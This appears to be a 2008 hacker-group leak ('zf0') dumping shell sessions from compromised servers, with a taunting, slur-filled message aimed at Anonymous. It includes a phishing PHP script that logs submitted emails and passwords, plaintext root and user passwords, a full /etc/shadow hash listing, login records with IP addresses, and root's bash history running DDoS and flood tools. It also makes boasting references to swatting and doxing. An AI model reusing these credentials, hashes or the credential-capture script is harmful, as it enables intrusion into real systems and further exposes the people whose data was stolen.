8 07:47 .shrc $ cd ~general $ ls -al total 20 drwxr-xr-x 2 general general 512 Mar 8 07:48 . drwxr-xr-x 4 root wheel 512 Mar 8 07:48 .. -rw-r--r-- 1 general general 751 Mar 8 07:48 .cshrc -rw-r--r-- 1 general general 248 Mar 8 07:48 .login -rw-r--r-- 1 general general 158 Mar 8 07:48 .login_conf -rw------- 1 general general 373 Mar 8 07:48 .mail_aliases -rw-r--r-- 1 general general 331 Mar 8 07:48 .mailrc -rw-r--r-- 1 general general 766 Mar 8 07:48 .profile -rw------- 1 general general 276 Mar 8 07:48 .rhosts -rw-r--r-- 1 general general 975 Mar 8 07:48 .shrc $ cd /usr/local/www/apache22/data/auth $ ls -al total 8 drwxr-xr-x 2 root picatta 512 Mar 8 17:41 . drwxr-xr-x 28 root wheel 1536 Mar 8 22:01 .. -rwxr-xr-x 1 root picatta 2 Mar 5 12:47 account.txt -rwxr-xr-x 1 root picatta 169 Mar 5 12:47 login.php $ cat account.txt : $ cat login.php <?php $email = $_POST['email']; $password = $_POST['password']; $fw = fopen('account.txt', 'a'); fwrite($fw, $email . ":" . $password . "\n"); fclose($fw); ?> $ ls -al /var/mail total 4 drwxrwxr-x 2 root mail 512 Mar 8 22:05 . drwxr-xr-x 24 root wheel 512 Mar 8 22:05 .. -rw------- 1 cyrus cyrus 0 Mar 8 22:05 cyrus -rw------- 1 general general 0 Mar 8 07:48 general -rw------- 1 mysql mysql 0 Mar 8 16:38 mysql -rw------- 1 picatta picatta 0 Mar 8 07:47 picatta $ /*****************************************************************/ Well, that was fun... Remember, you are not as untouchable as you think you are. As long as you have a website up somewhere or are IRC'ing on public networks (btw, do you honestly think that EFNet provides a secure communications channel?) you are within the reach of those who would wish you harm. To be perfectly honest, you indoctrinate your members just as much as the supposed evil CoS that you fight against. I honestly don't see the difference between your methods and those that you allege they use. Your actions are childish. You attack sites and people that have done nothing to you and whom you have no battle with. Hell, a lot of the time you don't even attack the right target. That speaks volumes about your collective abilities. Again, we beseach you to remember that you are *not* untouchable. While 99% of the time you will anger people who have no power to hit back, or who have no friends with the ability to retaliate, the remaining 1% of the time you will anger people who can and will hurt you. Knock off this Chanology crap and go back to posting on 4chan and playing CounterStrike. You're in a world you know nothing about and you do not belong here. We would have dumped your MediaWiki DB but it was full of crap and only had 32 registered users. This was for you X. Hopefully it helps. ############################################################# # THE ADVENTURES OF # # __ # # .--------.|__|.----.----.-----. # # | || || __| _| _ | # # |__|__|__||__||____|__| |_____| # # __ # # .-----.-----.-----.|__|.-----. # # | _ | -__| || ||__ --| # # | __|_____|__|__||__||_____| # # |__| # # # ############################################################# # | # ________________________ # # | [] []# | | # # | # |<mp> r0fl3 i juST g0t | # # FUCK YOU! Co$! | [] []# |bunCH of RFI's from b0ts| # # \ | # |i r teh le3ats | # # \ | ____# | | # # lulz O_O i just | |___# |<sk1d> LUCKY!!11! | # # raged you so | # | | # # hard!! | ? __# '-.____________________.-' # # / | o | # |________| # #___8=D________________|__|_|_# ______/__________\______ # #/_/_/_/_/_/_/_/_/_/_/_/_/_/_/# |________________________| # # # |(type type) | # #- - - - - - - - - - # | \ _____ _____ | # # # | / ' \ | # ############################################################# # | # | # # r0flzc0ptu3z i just | [] []# SHUT UP Co$!! | [] []# # / | # / Thats IT! # # swated that f4g and | [] []# \ / | [] []# # \ | # \ I'M CALLING| # # \ | ____# \ \ | ____# # dropp3d his doc's | |___# \ The | |___# # i iz so0 |Go # / \| # # l33t!! |Away__# Whats zf0no? zf0no___# # / | 'o | # / | 'o | # #___8=D________________|__|_|_#___8=D________________|__|_|_# #/_/_/_/_/_/_/_/_/_/_/_/_/_/_/#/_/_/_/_/_/_/_/_/_/_/_/_/_/_/# # # # #- - - - - - - - - - #- - - - - - - - - - # # # # ############################################################# # # # ,-. __ # # ,' `---.___.---' `. # # ,' ,- `-._ # # ,' / \ .- # # ,\/ / zf0 + Rhino => zf0no \\ (( # # )`._)>) | \\// # # `>,' _ \ / |/ *-_ # # ) \ | | zf04 | | o `-. # # , / \ | `. | | o * (`-' # #\ \`-' )-| `. | / '- .' # #\`-` .` _/ \ _ )`-.___.--\ / O _`-._ # #_\_ ,'_____\ `.__/___________`. \_____,'^, c-)__# #__/ , ,'/_/_/_/_/\ /`/_/_/_/_/_/_/\ /_/_/(_`-' ^-'`)# # \__ / _) ( _) ( (^_ - _ |# #- -`--' - - - -/____\- - - - -/____\-(_,-. 8=D |# # `-_______* # ############################################################# # # # Once Again Micro Penis Is # # __ # # .-----.--.--.--.-----.-----.--| | # # | _ | | | | | -__| _ | # # | __|________|__|__|_____|_____| # # |__| # # (c) zf0 2008# ############################################################# zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0 zf0 zf0 zf0 zf0 zf0 zf0 zf0 zf0 zf0 zf0 zf0 zf0 zf0 zf0 zf0 zf0 zf0 zf0 zf0 zf0 zf0 zf0 zf0 zf0 zf0 g00ns zf0 zf0 zf0 zf0 zf0 zf0 zf0 zf0 zf0 zf0 zf0 zf0 zf0 zf0 zf0 zf0 zf0 zf0 zf0 zf0 zf0 zf0 zf0 zf0 zf0 zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0 z3r0 -> tribal: its possible someone hacked the user account z3r0 -> tribal: but doubtful tribal -> z3r0: yeah but if thats true tribal -> z3r0: they wouldn't be able to change the bash history ~~~~~~~~~~~~~~~~~~~~~~~~~~ Current g00ns shell passwords: root:Yuh89Kiol0? bnc:dwAFkCWx barnseo:jatQeT77Q2be ~~~~~~~~~~~~~~~~~~~~~~~~~~ [root@demon2 ~]# uname -a; id Linux demon2.rage-servers.com 2.6.22.9-grsec #11 SMP Mon Feb 11 22:15:20 PST 2008 i686 i686 i386 GNU/Linux uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel) [root@demon2 ~]# cat /etc/shadow root:$1$eE12wKEE$tmHFeYudmmO3rwwe7l7Cj1:13917:0:99999:7::: bin:*:13726:0:99999:7::: daemon:*:13726:0:99999:7::: adm:*:13726:0:99999:7::: lp:*:13726:0:99999:7::: sync:*:13726:0:99999:7::: shutdown:*:13726:0:99999:7::: halt:*:13726:0:99999:7::: mail:*:13726:0:99999:7::: news:*:13726:0:99999:7::: uucp:*:13726:0:99999:7::: operator:*:13726:0:99999:7::: games:*:13726:0:99999:7::: gopher:*:13726:0:99999:7::: ftp:*:13726:0:99999:7::: nobody:*:13726:0:99999:7::: dbus:!!:13726:0:99999:7::: mailnull:!!:13726:0:99999:7::: smmsp:!!:13726:0:99999:7::: nscd:!!:13726:0:99999:7::: vcsa:!!:13726:0:99999:7::: haldaemon:!!:13726:0:99999:7::: rpc:!!:13726:0:99999:7::: rpcuser:!!:13726:0:99999:7::: nfsnobody:!!:13726:0:99999:7::: sshd:!!:13726:0:99999:7::: pcap:!!:13726:0:99999:7::: rpm:!!:13726:0:99999:7::: named:!!:13726:::::: apache:!!:13726:::::: diradmin:!!:13726:::::: mysql:!!:13726:::::: webapps:!!:13726:0:99999:7::: majordomo:!!:13726:::::: admin:$1$k67PPtsg$vReIxhUQshkQHrgN8qop4/:13727:0:99999:7::: barnseo:$1$eSkx8Cwh$l/eNlfFan8WqvNlt3CcJd/:13943:0:99999:7::: bored:$1$VDoQ7SvP$hzgNmjDbAo1YV1UN1HnSa1:13727:0:99999:7::: churc0:$1$tsI0iJf7$6NvNZKfpK/NMNbhrQTmlA0:13727:0:99999:7::: connors:$1$2ULc9Bif$sujzvc6bBq/w9fUjMC/ru/:13727:0:99999:7::: every:$1$wC6e9J4r$fHgJBV5mvsjDfu1mbP1ya1:13727:0:99999:7::: evilcode:$1$w3V6Hy9R$Ulia4Vw0Ka2BppbF0/lH50:13732:0:99999:7::: excodeirc:$1$rFGBHx30$NQBXJyn58wCMprwtX6zYw0:13774:0:99999:7::: exploiterc:$1$VEmT3ImD$VxH8EvofWX8ewPX4M4wk00:13727:0:99999:7::: felosii:$1$G2Mg7vW9$SoUIbysYX.nTApiriA6CC/:13727:0:99999:7::: g00nsts395:$1$1joDOdxa$Us6bM7CJhw0BTgErxTI5p0:13748:0:99999:7::: grumpy:$1$dX3cnqpU$oApeYwRlHfDpoG4RpaGwD.:13727:0:99999:7::: illmob:$1$gFYsh9oD$LVzfHbh.UyLCGp/HoP2xC.:13727:0:99999:7::: pingyill:$1$5b3IbBeK$pRofjZ3/JiBjPG3OYgP900:13727:0:99999:7::: rageserver:$1$lI4HM14j$2vJACLQYNTxJDZ6GkJRBv0:13727:0:99999:7::: robo:$1$u0sPxruz$eaFFqL4tnXsKcCOkrq2/O.:13727:0:99999:7::: sn00g3s:$1$brOb0Seg$FGzBeV5S89j5AgDgYaRSG/:13970:0:99999:7::: void:$1$tBjUtZVx$6Vzt0IHhNIQU8QLU6lymO/:13727:0:99999:7::: alliancedn:$1$JitYsrIg$Mz0Q3fgnLDDmnEITkHB1t1:13727:0:99999:7::: aosw:$1$2EhcyqE8$b2JIrTsCg6svFPqe4bSvB.:13727:0:99999:7::: ntp:!!:13727:::::: hackrad:$1$pnZjslMq$F1X4eS3kW4DjnxNJq6l7w.:13727:0:99999:7::: mycorp:$1$7PzKv9I_$SdcZN/fvAe5M1/g.nV3Ve/:13727:0:99999:7::: ragedns:$1$0ZhTdSDG$8tIyV/igSTp2FW1DLg0bI.:13727:0:99999:7::: shoutcas:$1$EyPac5O4$twiXOZ2pCQF2N02Yn1ysF/:13732:0:99999:7::: g00ns83:$1$11pX9sPu$10H8SuDhVaqzctQl1hK/T.:13985:0:99999:7::: avahi:!!:13728:::::: xfs:!!:13728:::::: bnc:$1$oJ272Xoy$A/YVfI3PIEVShTgTfBKVY1:13729:0:99999:7::: felosi:$1$nsjb27Ih$r4cu3KkmTBUcHBnpKlcAd/:13729:0:99999:7::: egg:$1$IhIgFiwf$ZbLk7EMZ2mW9h5SZ.mibv.:13735:0:99999:7::: dougie:$1$xSp9e8mS$aiGml3legHEIUPrB5zyNp/:13737:0:99999:7::: proc:!!:13748:0:99999:7::: cstest:$1$ocq0fShx$6dKqaaMhVyvob5DW5sBeK1:13859:0:99999:7::: partyvan:!!$1$lGkCPwxP$aaKltWujl.3mkQjqgKJ311:13864:0:99999:7::: 40zzz:$1$I1xSLk9k$0.mmuo5Si8UlQXaUJ4VRF1:13869:0:99999:7::: tflux:$1$ftEvmzkA$RlkyQtPH.ebC0J8lWiZxm/:13875:0:99999:7::: hthhost:$1$sdsbg7Bd$UaK2rXwsmZjwQYV8/4FUa1:13877:0:99999:7::: party:$1$f2EVqqGx$H/sktpSQFCpoOz8tQpNsu/:13912:0:99999:7::: silc:$1$dhGqC6Gf$UEHea6QzCwrkfB8ZB2gDV1:13897:0:99999:7::: ident:!!:13910:0:99999:7::: lost:$1$5EpPopQR$0klUI/mKzjxPR0CV7qp2f/:13926:0:99999:7::: cunt:$1$7EyJ/1Qa$4Xy96JHb7dRjxxq.FDCsQ0:13947:0:99999:7::: tribal:$1$qF0PcFfr$76GBdRhLgM5lEGpjZQLPL1:13947:0:99999:7::: sixtyz:$1$9oLYqc3p$.KffXrzMGVAQ2bdOrgkoY1:13986:0:99999:7::: hanon:$1$oQBfvCtT$LymNfsGG9wHkUwKn41Cim/:13961:0:99999:7::: pvannet:$1$hYiASnKV$.CxXbIqEMR6kAoRRKVLfo1:13965:0:99999:7::: [root@demon2 ~]# ps auxwww | grep -v root | grep -v mysql USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND ftp 2319 0.0 0.0 2736 1424 ? Ss Mar18 0:00 proftpd: (accepting connections) dbus 3183 0.0 0.0 2784 672 ? Ss Feb11 0:00 dbus-daemon --system mail 3813 0.0 0.0 8760 712 ? Ss Feb11 0:36 /usr/sbin/exim -bd -q15m -oP /var/run/exim.pid avahi 4434 0.0 0.0 2600 648 ? Ss Feb11 0:00 avahi-daemon: running [demon2.local] 68 4450 0.0 0.0 5276 736 ? Ss Feb11 0:00 hald named 4618 0.0 0.4 48712 8296 ? Ssl Feb11 55:55 /usr/sbin/named -u named bnc 5470 0.0 0.0 5568 1560 ? S Feb11 0:53 ./psybnc apache 12745 0.0 0.3 113532 7368 ? Ss Apr16 0:00 lsphp -c /usr/local/lib bnc 14297 0.0 0.1 5544 2144 ? S Apr19 0:04 ./psybnc psybnc.gso.conf nobody 15071 0.0 0.0 8708 1292 ? Ss Apr01 0:00 /usr/local/directadmin/directadmin d 510 16899 0.0 0.1 6728 3232 ? S Apr14 0:00 /home/excodeirc/Unreal3.2/src/ircd evilcode 17493 0.0 0.8 19904 17704 ? S Apr19 1:08 /home/evilcode/newircd/Unreal3.2.7/src/ircd egg 20683 0.0 0.2 17204 5172 ? Sl Apr14 7:14 ./eggdrop-1.6.18 v0ltr0n.conf egg 20745 0.0 0.1 13380 3432 ? Sl Apr14 0:02 ./eggdrop sentry.conf egg 20748 0.0 0.1 13544 3420 ? Sl Apr14 0:00 ./eggdrop boneless.conf egg 20758 0.0 0.1 13404 3396 ? Sl Apr14 0:00 ./eggdrop keebler.conf egg 20770 0.0 0.1 4412 3428 ? Ss Apr14 0:31 /home/egg/efnet/fight hacker egg 20773 0.0 0.1 3548 2588 ? Ss Apr14 0:19 /home/egg/efnet/fight logic egg 20776 0.0 0.1 3588 2692 ? Ss Apr14 0:17 /home/egg/efnet/fight bloo egg 20779 0.0 0.1 3552 2640 ? Ss Apr14 0:18 /home/egg/efnet/fight etho egg 20793 0.0 0.1 3564 2720 ? Ss Apr14 0:17 /home/egg/efnet/fight notgay egg 20798 0.0 0.1 3576 2676 ? Ss Apr14 0:24 /home/egg/efnet/fight hthbot 513 23089 0.0 0.1 73380 2388 ? SNl Apr16 0:26 ./server_linux 513 23913 0.0 0.2 50844 5016 ? SNl Apr16 0:00 ./server_linux -PID=tsserver2.pid apache 28366 0.0 0.6 121208 14104 ? S 13:11 0:00 lsphp -c /usr/local/lib nobody 29950 0.0 0.0 8708 572 ? S Apr20 0:00 /usr/local/directadmin/directadmin d nobody 29960 0.0 0.0 8708 572 ? S Apr20 0:00 /usr/local/directadmin/directadmin d g00ns83 29999 0.0 0.5 114628 10976 ? S 13:26 0:00 lsphp -c /usr/local/lib sn00g3s 30011 0.9 0.5 114844 11788 ? S 13:26 0:00 lsphp -c /usr/local/lib every 30024 1.6 0.5 114452 12264 ? S 13:26 0:00 lsphp -c /usr/local/lib nobody 30111 0.0 0.0 8708 572 ? S Apr20 0:00 /usr/local/directadmin/directadmin d nobody 30168 0.0 0.0 8708 572 ? S Apr20 0:00 /usr/local/directadmin/directadmin d nobody 30170 0.0 0.0 8708 572 ? S Apr20 0:00 /usr/local/directadmin/directadmin d apache 32186 0.0 0.6 16400 12960 ? S Apr16 4:36 lshttpd [root@demon2 ~]# ls -al total 18128 drwxr-x--- 14 root root 4096 Mar 27 16:14 . drwxr-xr-x 27 root root 4096 Mar 11 00:10 .. -rw-r--r-- 1 root root 16777216 Sep 17 2004 16mb.test.file.zip -rw------- 1 root root 1077 Jul 31 2007 anaconda-ks.cfg drwxr-xr-x 2 root root 4096 Sep 13 2007 ani -rw------- 1 root root 9305 Apr 21 13:23 .bash_history -rw-r--r-- 1 root root 24 Jan 6 2007 .bash_logout -rw-r--r-- 1 root root 191 Jan 6 2007 .bash_profile -rw-r--r-- 1 root root 176 Jan 6 2007 .bashrc -rw-r--r-- 1 root root 337529 Apr 17 2006 Bastille-3.0.9-1.0.noarch.rpm drwxrwxrwx 5 1000 1000 12288 Mar 17 19:47 c-ares-1.5.1 -rw-r--r-- 1 root root 445312 Nov 21 02:14 c-ares-1.5.1.tar.gz -rw-r--r-- 1 root root 20136 Dec 19 19:30 cores drwxr-xr-x 4 root root 4096 Feb 23 19:17 .cpan drwxr-xr-x 5 root root 4096 Feb 10 12:56 csf -rw-r--r-- 1 root root 238005 Jan 21 09:19 csf.tgz -rw-r--r-- 1 root root 100 Jan 6 2007 .cshrc drwx------ 2 root root 4096 Jan 25 16:29 .elinks -rw-r--r-- 1 root root 8192 Jan 6 17:37 flood -rw-r--r-- 1 root root 13333 Jul 31 2007 install.log -rw-r--r-- 1 root root 2551 Jul 31 2007 install.log.syslog -rw-r--r-- 1 root root 12033 Jan 6 17:30 ips -rw------- 1 root root 45 Apr 19 14:04 .lesshst drwxr-xr-x 4 root root 4096 Dec 31 01:35 lynis -rw-r--r-- 1 root root 46388 Dec 26 11:13 lynis-1.0.6.tar.gz -rw-r--r-- 1 root root 754 Feb 10 17:12 Makefile -rw-r--r-- 1 root root 0 Feb 10 17:12 Module.symvers -rw------- 1 root root 41 Jan 31 02:49 .my.cnf -rw------- 1 root root 419 Sep 29 2007 .nessusrc -rw-r--r-- 1 root root 51 Sep 29 2007 .nessusrc.cert -rw-r--r-- 1 root root 656 Jan 6 17:37 new -rw-r--r-- 1 root root 656 Jan 6 17:38 new1 drwxr-xr-x 3 root root 4096 Mar 25 13:40 newircd -rw-r--r-- 1 root root 1462 Aug 19 2007 opt.php -rw-r--r-- 1 root root 3502 Feb 10 16:03 ptpatch2008.c -rw-r--r-- 1 root root 5704 Feb 10 17:12 ptpatch2008.ko -rw-r--r-- 1 root root 126 Feb 10 17:12 .ptpatch2008.ko.cmd -rw-r--r-- 1 root root 870 Feb 10 17:12 ptpatch2008.mod.c -rw-r--r-- 1 root root 3404 Feb 10 17:12 ptpatch2008.mod.o -rw-r--r-- 1 root root 11168 Feb 10 17:12 .ptpatch2008.mod.o.cmd -rw-r--r-- 1 root root 3080 Feb 10 17:12 ptpatch2008.o -rw-r--r-- 1 root root 16774 Feb 10 17:12 .ptpatch2008.o.cmd drwxrwxr-x 3 666 666 4096 Sep 22 2007 rkhunter-1.3.0 -rw-r--r-- 1 root root 252011 Sep 22 2007 rkhunter-1.3.0.tar.gz -rw------- 1 root root 1024 Jan 31 05:43 .rnd drwxr-xr-x 4 1000 1000 4096 Nov 29 14:48 rootcheck-0.7 -rw-r--r-- 1 root root 42488 Mar 17 2006 rootcheck-0.7.tar.gz drwx------ 2 root root 4096 Feb 10 12:55 .ssh drwxr-x--- 2 root root 4096 Dec 11 17:39 .steam -rw-r--r-- 1 root root 129 Jan 6 2007 .tcshrc drwxr-xr-x 2 root root 4096 Feb 10 17:12 .tmp_versions -rw-r--r-- 1 root root 42596 Aug 9 2007 tuning-primer.sh -rw-r--r-- 1 root root 11623 Jan 6 17:36 udpflood -rw-r--r-- 1 root root 12033 Jan 6 17:30 udpips [root@demon2 ~]# last -n 30 root pts/1 74-34-107-191.ds Mon Apr 21 03:44 - 13:23 (09:39) andrei@t ftpd27076 99.146.188.71 Sun Apr 20 17:01 - 17:07 (00:05) andrei@t ftpd21033 99.146.188.71 Sun Apr 20 16:06 - 16:11 (00:05) andrei@t ftpd18185 99.146.188.71 Sun Apr 20 15:40 - 15:56 (00:15) andrei@t ftpd14422 99.146.188.71 Sun Apr 20 15:04 - 15:20 (00:16) every ftpd13689 76.189.145.31 Sun Apr 20 09:56 - 10:03 (00:07) bnc pts/1 78.129.174.155 Sat Apr 19 20:27 - 20:31 (00:04) bnc pts/1 78.129.174.155 Sat Apr 19 17:53 - 18:39 (00:45) bnc pts/2 78.129.174.155 Sat Apr 19 15:03 - 15:06 (00:02) root pts/2 ip70-180-48-83.b Sat Apr 19 10:35 - 11:25 (00:50) every ftpd20255 76.189.145.31 Fri Apr 18 15:42 - 15:42 (00:00) every ftpd18019 76.189.145.31 Fri Apr 18 15:26 - 15:41 (00:15) root pts/0 fl-71-51-173-254 Wed Apr 16 19:52 - 20:43 (00:50) andrei@t ftpd32363 99.146.188.71 Wed Apr 16 17:33 - 17:37 (00:04) root pts/0 fl-71-51-173-254 Wed Apr 16 17:28 - 19:09 (01:41) andrei@t ftpd30547 99.146.188.71 Wed Apr 16 17:18 - 17:29 (00:11) andrei@t ftpd30546 99.146.188.71 Wed Apr 16 17:18 - 17:23 (00:05) root pts/0 fl-71-51-173-254 Tue Apr 15 21:14 - 21:57 (00:42) root pts/0 fl-71-51-173-254 Mon Apr 14 22:23 - 23:11 (00:47) root pts/0 fl-71-51-173-254 Mon Apr 14 13:46 - 14:28 (00:42) kl@60z.o ftpd10215 77.221.133.186 Mon Apr 14 00:32 - 00:32 (00:00) andrei@t ftpd19694 99.146.188.71 Sun Apr 13 20:40 - 20:45 (00:05) andrei@t ftpd12210 99.146.188.71 Sun Apr 13 19:22 - 19:36 (00:13) andrei@t ftpd10428 99.146.188.71 Sun Apr 13 19:03 - 19:11 (00:07) andrei@t ftpd9290 99.146.188.71 Sun Apr 13 18:52 - 18:57 (00:05) andrei@t ftpd9291 99.146.188.71 Sun Apr 13 18:52 - 18:57 (00:05) root pts/0 ip70-180-48-83.b Sat Apr 12 11:39 - 11:40 (00:00) root pts/0 ip70-180-48-83.b Sat Apr 12 10:02 - 10:06 (00:03) root pts/0 fl-71-51-173-254 Thu Apr 10 13:32 - 13:45 (00:12) root pts/0 fl-71-51-173-254 Mon Apr 7 17:43 - 18:36 (00:53) wtmp begins Sun Mar 2 09:43:08 2008 [root@demon2 ~]# cat /etc/issue CentOS release 5 (Final) Kernel \r on an \m [root@demon2 ~]# cat .bash_history w passwd g00ns83 top w cd /home ls ls pr0be cd g00ns83 ls cd public_html ls nano in.php ls katalyst/ nano includes/config.php nano includes/config.php chown includes/config.php g00ns83 chown g00ns83 includes/config.php ls includes ls -o includes ls ls -o ls image -o ls -o image chown g00ns83 * ls ls cd / ls makeuser cunt adduser cunt passwd cunt s ls cd /home/sn00g3s cd public_Html cd public_html ls mkdir hid nano hid/index.php chown sn00g3s chown sn00g3s * ls ls -o ls hid rm -rf hid cd /home/g00ns83/public_Html cd /home/g00ns83/public_html ls mkdir tribal cd tribal nano index.php rm index.php nano index.php rm index.php nano index.php rm index.php nano index.php cd /home/g00ns83 chown g00ns83 * w ls -o cd /home passwd cunt cd /home/cunt ls wget http://www.shoutcast.com/downloads/sc1-9-8/sc_serv_1.9.8_Linux.tar.gz ls tar -xzf sc_serv_1.9.8_Linux.tar.gz ls nano sc_serv.conf sudo cunt su cunt ls cd unrealold/ ls cd /home/excodeirc ls cd Unreal cd Unreal3.2 ls nano unrealircd.conf ls ls -o cd /home/evilcodeirc cd /home ls cd evilcode ls cd Unreal3.2/ ls nano unrealircd.conf cd /home/excodeirc cd Unreal3.2 ls nano unrealircd.conf ls -o cd /hom ls cd /home ls ls -o ls tmp ls asbestos cd asbestos cd domains ls cd asbestosbeware.org ls cd / ls w ls tmp ls ps -aux | grep ircd netstat | grep ircd ls netstat ddos ddos csf -d 24.3.92.79 nano /etc/csf/csf.allow csf -d 24.3.92.79 csf -r csf -d 24.3.92.79 csf csf -c csf -r csf -d 24.3.92.79 nano /etc/csf/csf.allow csf -d 24.3.92.79 ddos syn synall ls ls -o ls root cd /home/pr0be ls rm -rf irssi-0.8.12 rm irssi-0.8.12.tar.gz ls userdel userdel -f pr0be cd /home ls useradd tribal passwd ls chown cunt * su cunt w passwd tribal ls nano /etc/passwd cd /home/tribal ls su tribal ls cd /home/tribal ls su tribal ls w cd / ls nano /etc/csf/csf.deny csf -r cd /home ls cd excodeirc/ ls cd Unreal cd Unreal3.2 ls nano unrealircd.conf nano unrealircd.conf cd /home ls cd evilcode/ ls cd Unreal3.2/ ls nano unrealircd.conf make install su tribal w ls who cd /home/excodeirc ls cd Unreal3.2 ls nano unrealircd.conf cd /home/evilcodeirc cd /home/evilcoders cd /home ls cd evilcode/ ls cd Unreal3.2/ ls nano unrealircd.conf nano unrealircd.conf cd /home/excodeirc ls cd Unreal3.2 ls nano unrealircd.conf nano unrealircd.conf nano /etc/csf/csf.deny csf -a 24.205.142.108 /etc/csf w ddos ddos csf -r syn ls ls w ddos netstat w who ls cd / ls ls etc ls var ls bin ls * | grep ddos synd ls nano /etc/csf/csf.deny nst | grep 72.20.26.211 netstat | grep 72.20.26.211 tcodump -nn -vv 72.20.26.211 tcpdump -nn -vv 72.20.26.211 netstat | grep 72.20.26.211 w netstat | grep 72.20.26.211 w dos ls ddos syng ddos synd ps -aux kill -9 5174 ls ps -aux ls ls /home ls cd /home/evilcode ls cd Unreal3.2 ls ./unreal ./unreal start ps -aux kill -9 3549 ps -aux ls ls ../ ls ls ../../ su evilcode ps -aux ps -aux ls cd ../ ls cd ../ ls cd evilcode ls cd Unreal3.2 ls nano unrealircd.conf ls cd ../../ ls cd excodeirc ls cd Unreal3.2 ls nano unrealircd.conf su excodeirc w cd /home/excodeirc netstat ls cd Unreal3.2 ls nano unrealircd.conf csf -d 79.126.130.156 w ls ./unreal stop ./unreal start nano unrealircd.conf cd /home/evilcoder cd /home ls cd evilcode/ ls cd Unreal3.2/ ls nano unrealircd.conf cd /home/excodeirc ls cd Unreal3.2 ls nano unrealircd.conf nano unrealircd.conf cd /etc/csf ls nano csf.deny nano unrealircd.conf cd /home/excodeirc/Unreal3.2 ls nano unrealircd.conf nano unrealircd.conf ls cd /home ls cd pr0be/ ls su pr0be ls su pr0be nano etc/passwd nano /etc/passwd cd /home/tribal su tribal ls cd /root ls wget http://daniel.haxx.se/projects/c-ares/c-ares-1.5.1.tar.gz wget http://daniel.haxx.se/projects/c-ares/c-ares-1.5.1.tar.gz ls tar -xzf c-ares-1.5.1.tar.gz ls cd c-ares-1.5.1 ls ./configure ls cat README make cat README make install ls cd /home/tribal su tribal w cd /home/excodeirc ls cd Unreal3.2 ls ./unreal stop nano unrealircd.conf ./unreal start cd /home ls cd evilcode/ ls cd Unreal3.2/ ls nano unrealircd.conf ls cd /home/excodeirc ls cd Unreal3.2 ls nano unrealircd.conf cd /home/excodeirc ls mkdir BULLSHIT ls rm -rf denora-1.2.0-RC4 rm denora-1.2.0-RC4.tar.gz ls ls psybnc rm psybnc/ ls rm -rf psybnc/ ls rm -rf BULLSHIT/ ls cd /home/evilcode ls cd Unreal3.2/ ls nano ircd.motd chown evilcode * cd /home/excodeirc cd Unreal3.2 ls chown excodeirc * nano unrealircd.conf ls ls w cd / nano unrealircd.conf ls ls /root ddos netstat ddos syn synd ddos csf -d 218.186.12.8 ddos 10 ddos ddos ddos ddos csf csf -c csf -l w w cd / ls w netstat ls cd /home/evilcode ls cd unreal3.2 cd Unreal3.2 ls nano unrealircd.conf cd ../ ls cd ../ ls cd excodeirc ls cd Unreal3.2 ls nano unrealircd.conf dmesg top sh tuning* top clear top w ls cd /home ls cd excodeirc ls mkdir hightechhost cd hightechhost/ ls wget ftp://ftp.eggheads.org/pub/eggdrop/source/1.6/eggdrop1.6.18.tar.gz ls tar zxvf eggdrop1.6.18.tar.gz cd eggdrop1.6.18 ./configure make config make ls su excodeirc chown excodeirc * su excodeirc w ls cd /home ls cd excodeirc ls cd hightechhost/ ls cd eggdrop1.6.18 ls ls -o su excodeirc ls cd / ls cd home ls cd egg ls cd eggdrop ls su egg uname -a id egg su egg netstat | grep 33162 netstat killall fight netstat killall fight ps -aux su egg netstat uname -a ; id egg su egg ls cd /home/egg ls cd efnet/ su egg w w ls cat cores ls cd /home ls cd evilcode/ ls cd Unreal3.2/ ls nano unrealircd.conf nano unrealircd.conf nano unrealircd.conf nano unrealircd.conf nano unrealircd.conf nano unrealircd.conf nano unrealircd.conf cd /home/excodeirc ls cd Unreal ls cd Unreal3.2 ls nano unrealircd.conf cd /home/evilcode ls cd Unreal3.2/ ls nano unrealircd.conf cd /home/excodeirc ls cd Unreal3.2 ls nano unrealircd.conf cd /home/evilcode ls cd Unreal3.2/ ls nano unrealircd.conf ./Config make ./unreal stop ./unreal start ps -aux | grep ircd kill 3952 kill 10281 ps -aux kill 12472 killall ircd ./unreal start ls ./Config make ./unreal start cd $user ls mkdir newircd cd newircd ls wget http://www.blurryfox.com/unreal/Unreal3.2.7.tar.gz ls tar xzf Unreal3.2.7.tar.gz ls cd Unreal3.2.7 ls ./Config ls cd /home ls cd evilcode/ ls su evilcode w w ps -aux | grep ircd ls cd /home ls cd evilcode/ ls cd newircd/ ls su evilcode w ls cd / ls cd evilcode ls cd /home ls w cd evilcode/ ls w netstat -a la ls su evilcode ls su evilcoder su evilcode ls who cd / cd /home ls cd evilcode ls cd newircd/ ls cd Unreal3.2.7 ls su evilcode w ls cd / ls cd /home/evilcode ls cd newircd ls cd Unreal3.2.7 ls nano unrealircd.conf ls cd / ls cd home ls cd excodeirc/ ls cd Unreal3.2 ls nano unrealircd.conf ./unreal stop ./unreal start ./unreal start ./unreal stop nano unrealircd.conf ./unreal start ./unreal stop uptime ./unreal stop nano unrealircd.conf w passwd sn00ges passwd sn00g3s cat ircd.conf cat ircd.log netstat -a nst netstat -a w ls w cd / ls cd evilcode cd /home ls cd evilcode/ ls cd newircd/ su evilcode csf -a 71.105.242.232 /etc/csf last | grep root nst cat /boot/grub/grub.conf cd /usr/src ls rm -rf linux* wget sstdns.com/kernel.tar.gz wget nix101.com/kernel.tar.gz tar zxvf kernel.ta.gz tar zxvf kernel.tar.gz ln -s linux-2.6.24.3 linux cd linux rm -rf .config wget sstdns.com/grsec mv grsec .config screen w ps -aux ; grep ircd cd /home cd evilcode ls su evilcode w ls cd / ps -aux kill 19912 kill 11341 ps -aux kill 11341 kill 11341 ps -aux kilall fight kill fight kill 3534 kill 3537 kill 3540 kill 3543 kill 3546 kill 3549 ps -aux kill 1439 kill 1499 ps-aux ps -aux w ddos netstat -a ls ls home cd home ls ls pvannet ls pvannet/public_html ls ls aosw ls aosw/public_html csf -a 63.173.63.241 /etc/csf nano /etc/csf/csf.deny ping 63.173.63.241 tracert 63.173.63.241 ls w cd /home ls cd g00ns83 ls ls public_html/ ls cd / ls 